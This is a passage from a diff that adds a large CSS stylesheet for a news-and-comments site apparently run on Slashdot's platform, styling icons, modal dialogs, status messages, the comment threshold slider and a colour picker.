+overflow: hidden;
+position: absolute;
+right: 1.85em;
+top: .5em;
+text-indent: -999999px;
+background-image: url('//a.fsdn.com/sd/classic/img/glyphish-icons-16-w.png') !important;
+background-position:-164px -39px;
+}
+
+.ui-icon.rss {
+background-position:-164px -612px;
+width:22px;
+height:22px;
+text-indent:-99999px;
+display:inline-block;
+overflow:hidden;
+}
+
+#u2tabs li .ui-icon {
+margin-bottom:-.25em;
+}
+
+#modal_box_content .ui-icon.rss {
+position:absolute;
+top:1px;
+right:20px;
+}
+
+.ui-icon.rss a {
+display:block;
+overflow:hidden;
+text-indent:99999px;
+width:20px;
+}
+
+ #fhtablist_new .rss,
+ #fhtablist_new .edit {
+ float:right;
+ }
+
+.ui-icon.prefs {
+background-position:-260px -69px;
+padding-bottom:2px;
+}
+
+#user_bio .prefs {
+display:inline-block;
+}
+
+#user_bio .prefs a {
+display:inline-block;
+text-indent:99999px;
+width:22px;
+}
+
+#commentwrap section nav .prefs,
+#commentwrap .commentBox .prefs,
+.post_anon .prefs {
+display:inline-block;
+height:20px;
+width:20px;
+text-indent:-999999px;
+overflow:hidden;
+}
+
+.post_anon .prefs {
+margin-bottom:-.25em;
+}
+
+
+a.edit-toggle span.ui-icon.expand,
+a.edit-toggle span.ui-icon.collapse {
+background-position:-132px -70px;
+display:block;
+height:20px;
+width:20px;
+}
+
+.extlnk {
+ display: inline-block;
+ height: 14px;
+ position: relative;
+ width: 14px;
+}
+
+.extlnk a.ui-icon {
+background-position: -231px -455px;
+display:block;
+height:14px;
+left:1px;
+padding:0.25em;
+position:absolute;
+text-indent:-99999px;
+top:-2px;
+width:14px;
+}
+
+input.btn.link, input.btn.link:hover, input.btn.ico:active:hover, input.btn.link:active:hover {background: none !important; border: none !important;color:#006666;padding-left:0;padding-right:0;}
+input.btn.ico:active:hover, input.btn.link:active:hover {color: rgb(0,47,47);text-decoration: underline;}
+.firehose .reject .ui-icon:active:hover {-moz-box-shadow:none !important;-webkit-box-shadow:none !important;box-shadow:none !important;border: none !important;}
+
+.btn.ico {opacity: .7;}
+.btn.ico:hover {opacity: .8;}
+.btn.ico:active:hover {opacity: 1; }
+
+/* Alignment override */
+
+.tcenter {text-align: center !important;}
+.tleft {text-align: left !important;}
+.tright {text-align: right !important;}
+.fno {float: none !important;}
+.fleft {float: left !important;}
+.fcenter {margin: 0 auto 0 !important; display: block !important;}
+.fright {float: right !important;}
+.widthauto {width:auto !important;}
+.clear {clear:both; display: block;}
+.hide {display: none;}
+.nolink {text-decoration: none !important; color: #454545 !important;}
+
+/* Messages */
+.msg {position:relative;display:inline-block;}
+.msg p:first-child {display:block;min-height:1.6em;}
+.msg p {margin-top: 10px; display:inline;}
+.msg img {margin-right: 20px;}
+.error, .notice, .success {padding:5px !important;margin-bottom:1em;border:2px solid #ddd; display: inline-block;-moz-border-radius:4px;-webkit-border-radius:4px;-o-border-radius:4px;border-radius:4px;}
+.error p, .notice p, .success p {margin: 0;}
+.error {background:#FBE3E4;color:#8a1f11;border-color:#FBC2C4;}
+.notice {background:#FFF6BF;color:#514721;border-color:#FFD324;}
+.modalprefhelp.notice {position:absolute;background:rgba(255,246,191,.75);z-index:10;box-shadow: rgba(0,0,0,.25) 0px 2px 4px;-webkit-box-shadow: rgba(0,0,0,.25) 0px 2px 4px;-moz-box-shadow: rgba(0,0,0,.25) 0px 2px 4px; margin-right:2em;}
+#modal_box.join #modalprefhelp_newuseremail {margin-top: 2em;right: 1em;width: 60%;}
+.success {background:#E6EFC2;color:#264409;border-color:#C6D880;}
+.error a {color:#8a1f11; text-decoration: underline;}
+.notice a {color:#514721; text-decoration: underline;}
+.success a {color:#264409; text-decoration: underline;}
+.forums .error {background:#8a1f11 !important; border-color: #500;}
+.forums .notice {background:#e5be20;}
+.forums .success {background:#264409;}
+
+/* Modal */
+#modal_box #logo a {margin: 0 10px 0 0;}
+#modal_box, .modal-c {
+ background: rgb(255,255,255);
+ border-top: 4px solid rgb(0,102,102);
+ border-bottom-left-radius: 10px;
+ border-bottom-right-radius: 10px;
+ -webkit-border-bottom-left-radius: 10px;
+ -webkit-border-bottom-right-radius: 10px;
+ -moz-border-radius-bottomleft: 10px;
+ -moz-border-radius-bottomright: 10px;
+ -o-border-radius-bottomleft: 10px;
+ -o-border-radius-bottomright: 10px;
+ box-shadow: rgba(0,0,0,.6) 0px 2px 12px;
+ -webkit-box-shadow: rgba(0,0,0,.6) 0px 2px 12px;
+ -moz-box-shadow: rgba(0,0,0,.6) 0px 2px 12px;
+ position: relative;
+ display: none;
+ padding: 20px 20px 20px;
+}
+
+iframe.prefiframe {
+ -webkit-border-bottom-left-radius: 10px;
+ -webkit-border-bottom-right-radius: 10px;
+ -moz-border-radius-bottomleft: 10px;
+ -moz-border-radius-bottomright: 10px;
+ -o-border-radius-bottomleft: 10px;
+ -o-border-radius-bottomright: 10px;
+ border-bottom-left-radius: 10px;
+ border-bottom-right-radius: 10px;
+}
+
+#modal_box .menu, #modal_box .menu li {margin: 0; padding: 0;}
+#modal_box .menu li {margin-bottom: 10px; padding: 5px; list-style: none; text-align: right;}
+
+#modal_cover {margin-top: -12px; margin-left:-13px; background: rgba(0,0,0,.6);height:100%;position:fixed;width:100%;z-index:1000000;}
+
+#modal_box {
+position: fixed;
+margin: 0;
+width: 80%;
+height: 80%;
+z-index: 1000001;
+overflow-x: hidden;
+overflow-y: auto;
+padding: 0;
+left: 10%;
+top:26px;
+max-height:480px;
+}
+
+#modal_box > h3 {margin-top:1.5em;}
+#modal_box label, .humanconf_questions { padding-left: 3px;}
+#modal_box label.fleft:not(.ignore-line-height) { line-height:2.25em; }
+.humanconf_questions {
+line-height: 60px;
+padding-right: 10px;
+text-align: right;
+width: 90px;
+}
+
+.captcha #hcanswer {min-width:0;width:44px;}
+.captcha .mp3 .btn {float:none;}
+.captcha img {margin: 0 1em; vertical-align: middle;}
+.captcha audio {display:none;}
+
+#modal_box.login label, #modal_box.join label {width: auto;}
+#modal_box.login {margin: 0px 38% 0;width:260px;height:300px;}
+#modal_box.login .btn.link {margin-left: 0; padding-left: 0;}
+#modal_box.account {width:90%;min-width: 790px;margin-left:2%;}
+
+#modal_box.links-sections-edit {height:110px;width:480px;padding:0 .5em}
+#modal_box.links-sections-edit .section_filter {width:92px;min-width:0;}
+#modal_box.links-sections-edit h3 {display:none;}
+#modal_box.links-sections-edit #modal_box_content {margin-top:-1em;}
+
+#modal_box.join {
+margin: 0px 25% 0;
+width:460px;
+max-height:450px;
+}
+
+#modal_box.submit textarea {height: 100px;}
+
+#modal_box.watch {width:auto;height:auto;margin:0 0 0 27%;}
+
+#modal-p-f ol ol li {clear:both;}
+#modal_box .password form label {width:140px;}
+
+.theme_switch img {
+box-shadow: rgb(185,185,185) 2px 2px 10px;
+-moz-box-shadow: rgb(185,185,185) 2px 2px 10px;
+-webkit-box-shadow: rgb(185,185,185) 2px 2px 10px;
+border:1px solid #CCCCCC;
+}
+
+
+/* Lists */
+.deck {margin: 0 0 1em; padding: 0; height: 120px; }
+.deck li {list-style: none; height: 100px; width: 75px; text-align: center; vertical-align: bottom; padding: 5px; margin: 0 1em 0 0; border: 1px solid #ccc; background: #fff; float: left;}
+
+.listed {margin: 10px;}
+#slashboxes ul, #slashboxes ol {margin: 10px 0;}
+#slashboxes ul li, #slashboxes ol li, .listed li {
+ margin: 0;
+ padding: 5px;
+ font-size: 1em;
+ border-bottom: 1px solid rgb(229,229,229);
+ list-style: none;
+}
+#slashboxes ul li:last-child, #slashboxes ol li:last-child, .listed li:last-child {border-bottom: none;}
+#slashboxes ul li, #slashboxes ol li, #slashboxes ul li:last-child, #slashboxes ol li:last-child {padding: 5px 0;}
+#slashboxes ul li img, #slashboxes ol li img, .listed li img {vertical-align: middle;}
+#slashboxes ul li a, #slashboxes ol li a, .listed li a {display: inline;}
+
+.clip {
+ border: 1px solid rgb(229,229,229);
+ margin-top: 20px;
+ border-radius: 10px;
+ -webkit-border-radius: 10px;
+ -moz-border-radius: 10px;
+ -o-border-radius: 10px;
+}
+.clip .listed {
+ margin: 0 5px 5px;
+}
+.clip h3 {
+ padding: 5px;
+ margin-bottom: 5px;
+ border-bottom: 1px solid rgb(229,229,229);
+ border-top-left-radius: 10px;
+ border-top-right-radius: 10px;
+ -webkit-border-top-left-radius: 10px;
+ -webkit-border-top-right-radius: 10px;
+ -moz-border-radius-topleft: 10px;
+ -moz-border-radius-topright: 10px;
+ -o-border-radius-topleft: 10px;
+ -o-border-radius-topright: 10px;
+ background: rgb(229,229,229);
+ background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgb(255,255,255)), to(rgb(229,229,229)));
+ background-image: -moz-linear-gradient(100% 100% 90deg,rgb(229,229,229), rgb(255,255,255) 100%);
+ background-image: -o-linear-gradient(top,rgb(255,255,255), rgb(229,229,229) 100%) !important;
+}
+
+/* Daybreak */
+.daybreak {display: block; margin: 0 auto; width: 320px; font-size: .9em;}
+
+.cmntcnt .slant,
+.archive_breaks .slant,
+.daybreak .slant {
+position: absolute;
+-webkit-transform: rotate(-45deg);
+-moz-transform: rotate(-45deg);
+-o-transform: rotate(-45deg);
+-ms-transform: rotate(-45deg);
+transform: rotate(-45deg);
+height: 20px; width: 20px;
+display: block;
+float: left;
+background: rgba(229,229,229,1);
+left:60px;
+border:0;
+padding:0;
+margin:0;
+}
+
+.cmntcnt .slant {
+left: 11px !important;
+bottom: -3px !important;
+top: auto;
+width: 6px;
+height: 6px;
+}
+
+.archive_breaks,
+.archive_breaks span {
+display:inline !important;
+}
+
+.archive_breaks {
+ position: relative;
+ width: 140px;
+ margin: 0px 6px 0;
+}
+
+.archive_breaks.before .slant {
+top:auto;
+bottom:-10px;
+}
+
+.daybreak .before .slant {top: -5px;}
+
+
+.archive_breaks.after .slant {
+top: -10px;
+bottom: auto;
+}
+
+
+.daybreak .after .slant {top:auto;bottom: 5px;}
+.daybreak .tcenter{
+ position: relative;
+ width: 140px;
+ margin: 0px 10px 0;
+}
+.daybreak a {margin-bottom: 10px;}
+
+
+.daybreak a {
+ cursor: pointer;
+}
+
+nav.abdb {
+margin: 1.25em 0 1.25em 1em;
+}
+
+.cmntcnt {
+position: relative;
+margin: 0;
+display:inline !important;
+}
+
+.cmntcnt > span:not(.slant) {
+ z-index: 1;
+ position: relative;
+ text-decoration:none;
+ padding: 0px 4px;
+ color:rgb(125,125,125);
+ border-radius: 10px;
+ -moz-border-radius: 10px;
+ -webkit-border-radius: 10px;
+ -o-border-radius: 10px;
+ background-color: rgba(229,229,229, 1);
+ font-size:.75em;
+ display:inline-block;
+ width:20px;
+ text-align:center;
+ letter-spacing: -1px;
+}
+
+.thisday-tb .cmntcnt > span:not(.slant),
+#mostdiscussed .cmntcnt > span:not(.slant) {
+ width: 28px;
+}
+
+
+.archive_breaks span,
+.daybreak a, .msg p {
+ z-index: 1;
+ position: relative;
+ text-decoration:none;
+ display: block;
+ padding: 3px 20px;
+ color:rgb(125,125,125);
+ border-radius: 10px;
+ -moz-border-radius: 10px;
+ -webkit-border-radius: 10px;
+ -o-border-radius: 10px;
+ background-color: rgba(229,229,229, 1);
+}
+
+blockquote.msg > p {
+background:rgba(255,255,255,1);
+color:rgba(0,0,0,1);
+margin-bottom:0;
+margin-right:1px;
+/*
+box-shadow:1px 2px 1px rgba(0, 0, 0, 0.15);
+-moz-box-shadow:1px 2px 1px rgba(0, 0, 0, 0.15);
+-webkit-box-shadow:1px 2px 1px rgba(0, 0, 0, 0.15);
+*/
+}
+
+blockquote.msg .slant {
+border-color:transparent transparent rgba(255, 255, 255, 1);
+}
+
+
+.slant {
+left:-6px;
+top:0px;
+position:absolute;
+-moz-transform:rotate(65deg);
+-webkit-transform: rotate(65deg);
+-o-transform: rotate(65deg);
+-ms-transform: rotate(65deg);
+transform: rotate(65deg);
+border-color:transparent transparent rgba(229, 229, 229, 1);
+border-style:solid;
+border-width:1px 1px 20px 46px;
+background:none;
+float:left;
+height:0;
+margin:0 10px;
+width:0;
+}
+
+
+/* Content */
+.content {padding: 0 20px 20px;}
+.actions {position: absolute; right: 10px; top: 15px; font-size: .85em; text-transform: uppercase;}
+header .actions {position: absolute; right: .15em; top: .15em; font-size: .85em; text-transform: uppercase;}
+
+.actions .btn, .btm-actions .btn {background: none; border: none; text-shadow: none; padding-right: .8em;}
+.actions .btn.ico-l, .btm-actions .btn.ico-l {line-height: 1.8em; padding-bottom: .1em;}
+
+#styleguide {margin: 20px 20px 0;}
+
+
+/* new slider markup */
+.horizontal #ccw-body {
+width:222px;
+}
+
+.horizontal #ccw-full-panel {
+background:#669898 !important;
+left:1px !important;
+-moz-border-radius:3px 0 0 3px !important;
+-webkit-border-radius:3px 0 0 3px !important;
+border-radius:3px 0 0 3px !important;
+-o-border-radius:3px 0 0 3px !important;
+border:1px solid transparent;
+height:4px;
+text-indent:-9999px;
+}
+
+.horizontal #ccw-abbr-panel {
+background:#b2cbcb !important;
+}
+
+.horizontal #ccw-hide-panel {
+background:#ffffff !important;
+-moz-border-radius:3px !important;
+-webkit-border-radius:3px !important;
+-o-border-radius:3px !important;
+border-radius:3px !important;
+border:1px solid transparent;
+height:4px;
+right:0 !important;
+}
+
+.horizontal #ccw-panel-container {
+display:block !important;
+height:6px !important;
+overflow:hidden;
+}
+
+.horizontal #ccw-body {
+border-top:0;
+}
+
+
+
+.horizontal #ccw-hide-bar {
+
+left:-9px;
+height:20px;
+width:12px;
+z-index:1001;
+}
+
+.ccw-score-label {
+color:rgb(0,0,0);
+color:#000000;
+font-size:.85em;
+left:-26px;
+margin-top:3.25em;
+position:absolute;
+width:260px;
+}
+
+.ccw-score-label .sc {
+margin-left:-1em;
+}
+
+.ccw-score-label .lg {
+border-right:1px solid #ccc;
+padding:0;
+position:absolute;
+height:8px;
+margin-left:-3px;
+margin-top:-6px;
+}
+
+.horizontal #ccw-body {
+height:3em;
+padding-top:2em;
+display:block;
+clear:both;
+}
+
+.commentwrap > .commentBox {padding: 0;}
+.commentwrap > .commentBox h3 { color:#454545 !important; font-size:1.2em !important;}
+.commentwrap > .commentBox h4 { background: none !important; padding: 0 !important; margin: 10px 0 0 0 !important; color:#7D7D7D !important; font-size:2em !important;}
+
+.o,
+.ccwa,
+.ccwb {
+padding:0;
+margin:0;
+}
+
+.o {
+position:relative;
+}
+
+.ccwa {
+height:14px;
+width:11px;
+text-indent:-99999px;
+background:rgb(238,238,238);
+background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgb(238,238,238)), to(rgb(200,200,200)));
+background-image: -moz-linear-gradient(100% 100% 90deg, rgb(200,200,200), rgb(238,238,238) 100%);
+background-image: -o-linear-gradient(top, rgb(238,238,238),rgb(200,200,200) 100%);
+border-style:solid;
+border-width:0 1px 1px;
+border-color:rgb(128,128,128) rgb(128,128,128) rgb(128,128,128) rgb(172,172,172);
+position:absolute;
+top:4px;
+left:-1px;
+-border-radius:2px;
+-moz-border-radius:2px;
+-webkit-border-radius:0 0 2px 2px;
+-o-border-radius:0 0 2px 2px;
+}
+
+.ccwb {
+-webkit-transform: rotate(-45deg);
+-moz-transform: rotate(-45deg);
+-o-transform: rotate(-45deg);
+-ms-transform: rotate(-45deg);
+transform: rotate(-45deg);
+width:8px;
+height:8px;
+background:rgb(238,238,238);
+border-style:solid;
+border-width:1px 1px 0 0 ;
+border-color:rgb(128,128,128) rgb(128,128,128) transparent transparent;
+position:absolute;
+left:1px;
+-border-radius:0 3px 0 0;
+-moz-border-radius:0 3px 0 0;
+-webkit-border-radius:0 3px 0 0;
+-o-border-radius:0 3px 0 0;
+}
+
+
+
+
+/* d1 */
+#d2header form.d1 {
+padding-right: 90px;
+display: block !important;
+}
+
+form.d1 fieldset {
+display:inline-block;
+/*width:100%;*/
+margin-right:2em;
+}
+
+form.d1 legend {
+display:none;
+}
+
+form.d1 input.abs {
+position:absolute;
+right:3.25em;
+top:.55em;
+}
+
+form.d1 fieldset input[type=submit] {
+margin-top:-0.5em;
+}
+
+#commentlisting.d1 ul {
+margin-left:32px;
+}
+
+ul.d1 ul li {
+list-style:none;
+margin:1em !important;
+}
+
+#commentlisting,
+#commentlisting > li {
+margin-left:0;
+}
+#commentlisting li {
+position:relative;
+clear:both;
+}
+
+#commentlisting li:not(.comment) span.ind {
+border-color:rgb(171,171,171);
+border-style:none none solid solid;
+border-width:1px;
+height:10px !important;
+line-height:12px;
+margin:0 !important;
+overflow:hidden;
+padding:0 !important;
+position:absolute;
+top:4px;
+left:-20px;
+width:10px;
+z-index:100;
+text-indent:-999999px;
+}
+
+.d2 .oneline .ind {
+border-color:rgb(200,200,200);
+border-style:none none solid solid;
+border-width:1px;
+height:10px !important;
+line-height:12px;
+margin:0 !important;
+overflow:hidden;
+padding:0 !important;
+position:absolute;
+top:-1px;
+left:0px;
+width:10px;
+z-index:100;
+text-indent:-999999px;
+}
+
+#commentlisting > li > .ind,
+.d2 .otherdetails .ind,
+.d2 .commentSub > .ind,
+.d2 .full > .ind,
+.slashdot-it .d2 .oneline .ind {display:none !important;}
+
+#commentlisting li:not(.comment) {
+margin:0 0 11px 22px;
+list-style:none;
+}
+
+.linkCommentPage .active {
+padding:.25em .5em;
+margin:0 .25em;
+}
+
+.display_options_buttons {
+padding-top:.75em;
+display:inline-block;
+}
+
+form.d1 fieldset {
+float:right;
+margin-right:1.75em;
+}
+
+#commentwrap .ui-icon.search {
+display:inline-block;
+width:20px;
+height:20px;
+overflow:hidden;
+text-indent:99999px;
+}
+
+
+
+
+
+/* old slider css below */
+.escape-link { position: relative; float: left; text-align: left;}
+.commentBox div {width: 100%; text-align: right}
+
+#d2toggle {display:none;}
+.horizontal .loki {
+display:block;
+padding:0;
+text-align:left;
+}
+
+.loki > .block > .title > small {
+color:rgb(54,54,54);
+display:block;
+line-height:1.25em !important;
+padding-top:.15em;
+}
+
+.horizontal #d2act .commentControlFooter { display: none; }
+
+.horizontal .ccw-header-links { display: block; position: absolute; right: 3em; top: 0.5em; text-align: right; margin:-0.5em -2em 0 0; }
+.horizontal .ccw-header-links a {margin-left:1em;}
+
+/* new draggable guts for the D2 Widget */
+
+/* Overall Size and Position */
+.ccw-panel-border { display: block; position: absolute; top: 0; right: 0; bottom: 0; left: 0; }
+
+#ccw, #ccw-centering-rail,
+#ccw-body {
+ display: block;
+ position: relative;
+}
+
+#ccw-panel-container,
+div.ccw-panel, #ccw-control,
+#ccw-abbr-bar-pos, #ccw-hide-bar-pos,
+#ccw-abbr-bar, #ccw-hide-bar,
+.ccw-count-pos,
+.ccw-bar-tab,
+.horizontal #ccw-body,
+.horizontal div.ccw-panel {
+ display: block;
+ position: absolute;
+}
+
+.vertical #ccw-panel-container, .vertical #ccw-control { top: 16px; bottom: 16px; }
+.horizontal #ccw-panel-container, .horizontal #ccw-control { left: 0.5em; right: 0.5em; }
+
+.ccw-core-pos { height: 1px; }
+.horizontal .ccw-core-pos { width: 1px; }
+
+
+#ccw-centering-rail, #ccw-abbr-bar-pos, #ccw-hide-bar-pos { width: 2px; }
+#ccw-centering-rail { margin: 0 auto; }
+.horizontal #ccw-centering-rail { width: 100%; }
+
+.horizontal #ccw-centering-rail,
+.horizontal #ccw-abbr-bar-pos,
+.horizontal #ccw-hide-bar-pos { top: 1em; height: 2px; }
+
+
+.ccw-core, .ccw-panel, .ccw-count-pos { height: 140px; width: 9.3em; }
+.vertical .ccw-panel { height: auto; }
+.vertical .ccw-count-pos { height: 1px; }
+
+#d2act {
+width:100%;
+position:absolute;
+}
+#d2act .titlecount .ui-icon.prefs {
+display:inline-block;
+height:22px;
+overflow:hidden;
+text-indent:-99999px;
+width:22px;
+margin-bottom:-8px;
+}
+.vertical #d2act {position: absolute; left: 1.2em !important}
+.vertical #d2act.rooted {left:-10.6em !important;}
+#d2act div.block {background: transparent}
+#d2act div.block div.title h4 {text-align: left;}
+#d2act div.block div.title h4 a {color:#363636;}
+.rooted #d2act.rooted div.block div.title h4 { background: none !important; }
+#d2act .close {position: absolute; top: .2em; right: .2em; color: #ccc; text-decoration: none; border: 1px solid #bbb; border-bottom: 1px solid #444; border-right: 1px solid #555; padding: 0 .3em;}
+#d2act .close:hover {position: absolute; top: .2em; right: .2em; color: #eee; text-decoration: none; border: 1px solid #444; border-bottom: 1px solid #aaa; border-right: 1px solid #ccc; padding: 0 .3em;}
+#d2act .commentControlFooter {border-bottom: 1px solid #444; border-top: 1px solid #ccc; text-align: center; padding: 3px; background: #666; color: #fff; font-size: 10px; }
+#d2act .commentControlFooter a { color: #fff; text-decoration: none; }
+.comment_divider,
+#comment_full,
+#comment_abbr,
+#comment_hidden {opacity: 1 !important; border-right: 1px solid #aaa;border-left: 1px solid #aaa;}
+.commentControlFooter,
+#commentlisting {clear: both;}
+
+.horizontal .ccw-core, .horizontal .ccw-panel, .horizontal .ccw-count-pos { height: 2em; width: auto; }
+.horizontal #ccw-panel-container, .horizontal #ccw-control { left: 0.5em; }
+#ccw { height: 172px; width: 9.3em; }
+.horizontal #ccw { height: 2em; width: 222px; position:absolute; right:40px; }
+
+.ccw-bar { height: 4px; width: 9.8em; left: -4.65em; margin-top:-0.25em; position:relative;}
+.horizontal .ccw-bar { width: 4px; height: 2.4em; top: -1.2em; left: 0; }
+#ccw-abbr-bar { top: -5px; }
+.horizontal #ccw-abbr-bar { top: -1.2em; left: -9px; }
+
+.ccw-bar-tab { height: 8px; width: 3em; left: 3.5em; }
+.horizontal .ccw-bar-tab { height: 1.2em; width: 4px; }
+#ccw-abbr-bar-tab { top: -9px; }
+#ccw-hide-bar-tab { top: 4px; }
+.horizontal #ccw-abbr-bar-tab { top: 0.5em; left: -5px; }
+.horizontal #ccw-hide-bar-tab { top: 0.5em; left: 4px; }
+
+.ccw-upzone, .ccw-downzone { display: none; height: 12px; width: 100%; }
+.horizontal .ccw-upzone, .horizontal .ccw-downzone { width: 12px; height: 100%; }
+.ccw-upzone { top: -12px; }
+.ccw-downzone { top: 4px; }
+.horizontal .ccw-upzone { left: -12px; top: 0; }
+.horizontal .ccw-downzone { left: 4px; top: 0; }
+
+
+#ccw-body { z-index: 1; }
+
+.vertical #ccw-full-panel { top: -16px; }
+.vertical #ccw-hide-panel { bottom: -16px; }
+.horizontal #ccw-full-panel { left: -0.5em; }
+.horizontal #ccw-hide-panel { right: -0.5em; }
+
+.vertical .ccw-panel-border { border-width: 0 1px; }
+.horizontal .ccw-panel-border { border-width: 0 0 1px 0; }
+.horizontal #ccw-full-panel .ccw-panel-border { border-width: 0 0 1px 1px; }
+
+
+/* Borders and Fills */
+#ccw-full-panel { background: #fff url("//a.fsdn.com/sd/cs_i2_gradients.png?release_20130117") repeat-x scroll 0 -330px; border-bottom: solid 1px #999;}
+#ccw-abbr-panel { background: #ccc url("//a.fsdn.com/sd/cs_i2_gradients.png?release_20130117") repeat-x scroll 0 -330px; border-bottom: solid 1px #888;}
+#ccw-hide-panel { background: #aaa url("//a.fsdn.com/sd/cs_i2_gradients.png?release_20130117") repeat-x scroll 0 -330px; border-bottom: solid 1px #777;}
+
+.vertical #ccw-full-panel { background-position: 0 bottom;}
+.vertical #ccw-abbr-panel { background-position: 0 bottom;}
+.vertical #ccw-hide-panel { background-position: 0 bottom;}
+
+.vertical #ccw-abbr-bar {background:transparent url(//a.fsdn.com/sd/cs_sic_controls_new.png?release_20130117) no-repeat scroll 1px -1900px;width:126px; height: 22px;}
+.vertical #ccw-hide-bar {background:transparent url(//a.fsdn.com/sd/cs_sic_controls_new.png?release_20130117) no-repeat scroll 1px -1900px;width:126px; height: 14px; margin: -1px 0 0 0;}
+
+body.webkit .vertical #ccw-abbr-bar {top:-8px;}
+body.webkit .vertical #ccw-hide-bar {top:-8px;}
+
+/* Cursor Behavior */
+
+#ccw { -khtml-user-select: none; -moz-user-select: none; user-select: none;}
+
+.horizontal #ccw-abbr-bar, .horizontal #ccw-hide-bar { cursor: pointer; cursor:ew-resize; }
+.vertical #ccw-abbr-bar, .vertical #ccw-hide-bar { cursor: pointer; cursor:ns-resize; }
+
+#ccw-control.ccw-active,
+.ccw-active #ccw-abbr-bar,
+.ccw-active #ccw-hide-bar { cursor: pointer; }
+
+
+/* specifics */
+
+.horizontal .ccw-count-pos { width: 100%; }
+.h-inline { display: none; }
+.horizontal .h-inline { display: inline; }
+
+.horizontal .titlecount {
+text-decoration: none;
+display:block;
+height:60px;
+}
+
+.titlecount a {
+color:rgb(0,0,0);
+}
+
+.titlecount .lg {
+display:inline-block;
+width:auto;
+clear:both;
+}
+
+#gods #titlecountnum {
+line-height:30px;
+}
+
+.titlecount #titlecountnum {
+font-size:2.5em;
+display:block;
+width:100px;
+clear:both;
+color:rgb(111,111,111);
+}
+
+.titlecount a:hover {
+color:rgb(0,0,0);
+text-decoration:none;
+}
+
+div#d2out.horizontal {
+position:relative;
+height:80px;
+}
+
+div#d2out.vertical div#d2act div.block div.title h4 span.titlecount a span {
+font-size:80%;
+font-weight:normal;
+}
+
+div#d2out.vertical div#d2act div.block div.title h4 span.titlecount a span#titlecountnum {
+font-size:100%;
+font-weight:bold;
+}
+
+.ccw-count-container {
+/*color:rgb(153,153,153);*/
+font-size:.9em;
+height:2em;
+right:10px;
+margin-top:0.25em;
+position:absolute;
+width:270px;
+}
+
+.horizontal #ccw-full-count-text { }
+.horizontal #ccw-abbr-count-text { text-align:center;}
+.horizontal #ccw-hide-count-text { text-align:right;}
+
+.vertical #ccw-full-count-text { top: -4px; }
+.vertical #ccw-abbr-count-text { top: -9px; text-align:center;}
+.vertical #ccw-hide-count-text { top: 4px; text-align:right;}
+
+
+#ccw-abbr-bar-tab { border-bottom-width: 0; }
+#ccw-hide-bar-tab { border-top-width: 0; }
+.horizontal #ccw-abbr-bar-tab { border-bottom-width: 1px; border-right: none; }
+.horizontal #ccw-hide-bar-tab { border-top-width: 1px; border-left: none; }
+#ccw-panel-container, div.ccw-panel, .ccw-count-pos, .horizontal #ccw-body, .horizontal div.ccw-panel { left: 0; }
+
+
+/* color-picker */
+.color-picker {
+ position: relative;
+ border-radius: 2px;
+ webkit-border-radius: 2px;
+ moz-border-radius: 2px;
+ margin-top: .5em !important;
+}
+.color-picker.menu,
+.color-picker.menu li,
+.color-picker.trigger {
+ display: block;
+ width: 80px;
+ margin: 0;
+ padding: 0;
+ text-align: center;
+ cursor: pointer;
+ list-style: none;
+}
+.color-picker.trigger,
+.color-picker li {
+ height: 18px;
+}
+.color-picker span {
+ display: none;
+ padding-top: 3px;
+ font-size: 93%;
+ font-family: sans-serif;
+ line-height:1em;
+}
+.color-picker .red span,
+.color-picker .black span,
+.color-picker li.slash-hover span,
+.color-picker.trigger span {
+ display: block;
+}
+.color-picker .red, .color-picker.red { background-color: #990000; color: white; }
+.color-picker .orange, .color-picker.orange { background-color: #ff9933; }
+.color-picker .yellow, .color-picker.yellow { background-color: #ffff66; color:#000;}
+.color-picker .green, .color-picker.green { background-color: #66cc33; }
+.color-picker .blue, .color-picker.blue { background-color: #3366ff; color: white;}
+.color-picker .indigo, .color-picker.indigo { background-color: #660099; color: white;}
+.color-picker .violet, .color-picker.violet { background-color: #330066; color: white;}
+.color-picker .black, .color-picker.black { background-color: #000000; color: white;}
+
+.color-picker.red { border-color: rgba(102,0,0,.5) rgba(204,51,51,.5) rgba(204,51,51,.5) rgba(102,0,0,.5); }
+.color-picker.orange { border-color: rgba(152,86,20,.5) rgba(253,185,117,.5) rgba(253,185,117,.5) rgba(152,86,20,.5); }
+.color-picker.yellow { border-color: rgba(151,151,35,.5) rgba(255,255,166,.5) rgba(255,255,166,.5) rgba(151,151,35,.5); }
+.color-picker.green { border-color: rgba(53,122,19,.5) rgba(153,255,51,.5) rgba(153,255,51,.5) rgba(53,122,19,.5); }
+.color-picker.blue { border-color: rgba(25,59,164,.5) rgba(112,147,255,.5) rgba(112,147,255,.5) rgba(25,59,164,.5); }
+.color-picker.indigo { border-color: rgba(57,0,86,.5) rgba(167,73,215,.5) rgba(167,73,215,.5) rgba(57,0,86,.5); }
+.color-picker.violet { border-color: rgba(20,0,39,.5) rgba(111,61,161,.5) rgba(111,61,161,.5) rgba(20,0,39,.5); }
+.color-picker.black { border-color: rgba(0,0,0,.5) rgba(63,63,63,.5) rgba(63,63,63,.5) rgba(0,0,0,.5) ; }
+
+
+
+#firehose-color-picker-trigger span {
+padding:1px 0 0;
+line-height:150%;
+}
+
+#firehose-color-picker-trigger {
+
+
+-moz-border-radius-topright:4px;
+-moz-border-radius-bottomright:4px;
+-webkit-border-bottom-right-radius:4px;
+-webkit-border-top-right-radius:4px;
+-o-border-bottom-right-radius:4px;
+-o-border-top-right-radius:4px;
+border-bottom-right-radius:4px;
+border-top-right-radius:4px;
+
+
+border-style:solid;
+border-width:1px;
+height:21px;
+left:284px;
+line-height:150%;
+position:absolute;
+top:19px;
+width:78px;
+z-index:2;
+
+}
+
+
+#firehose-color-picker-trigger:hover,#section-prefs-color-picker-trigger:hover { background-position: center -334px;}
+
+#section-prefs-color-picker-trigger {
+-moz-border-radius-topleft:.75em;
+-webkit-border-top-left-radius: .75em;
+-o-border-top-left-radius: .75em;
+border-top-left-radius: .75em;
+border-style:solid;
+border-width:1px;
+}
+
+#modal_box_content #section-prefs-color-picker-trigger {
+-moz-border-radius-bottomleft:0.5em;
+-moz-border-radius-bottomright:0;
+-moz-border-radius-topleft:0.5em;
+-moz-border-radius-topright:0;
+
+-webkit-border-top-left-radius: .75em;
+-webkit-border-top-right-radius: 0;
+-webkit-border-bottom-left-radius: .75em;
+-webkit-border-bottom-right-radius: 0;
+
+-o-border-top-left-radius: .75em;
+-o-border-top-right-radius: 0;
+-o-border-bottom-left-radius: .75em;
+-o-border-bottom-right-radius: 0;
+
+border-top-left-radius: .75em;
+border-top-right-radius: 0;
